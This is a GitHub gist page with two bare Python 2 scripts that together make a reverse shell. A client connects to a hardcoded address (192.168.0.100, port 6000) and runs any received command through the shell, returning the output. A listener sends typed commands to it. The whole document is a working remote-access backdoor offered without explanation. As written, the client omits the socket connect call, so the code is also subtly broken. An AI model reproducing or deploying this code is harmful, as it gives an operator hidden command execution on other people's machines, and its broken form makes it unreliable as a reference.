Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
import socket, subprocess
def connect():
ip = "192.168.0.100"
port = 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
command = s.recv(1024)
if "quit" in command:
s.close()
break
else:
cmd = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
s.send(cmd.stdout.read())
s.send(cmd.stderr.read())
def main():
connect()
main()
import socket
def connect():
ip = ""
port = 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print("Listening at port:", port)
conn, addr = s.accept()
print("User connected:", addr)
while True:
command = raw_input("CMD# >")
if "quit" in command:
conn.send("quit")
conn.close()
break
else:
conn.send(command)
print(conn.recv(1024))
def main():
connect()
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment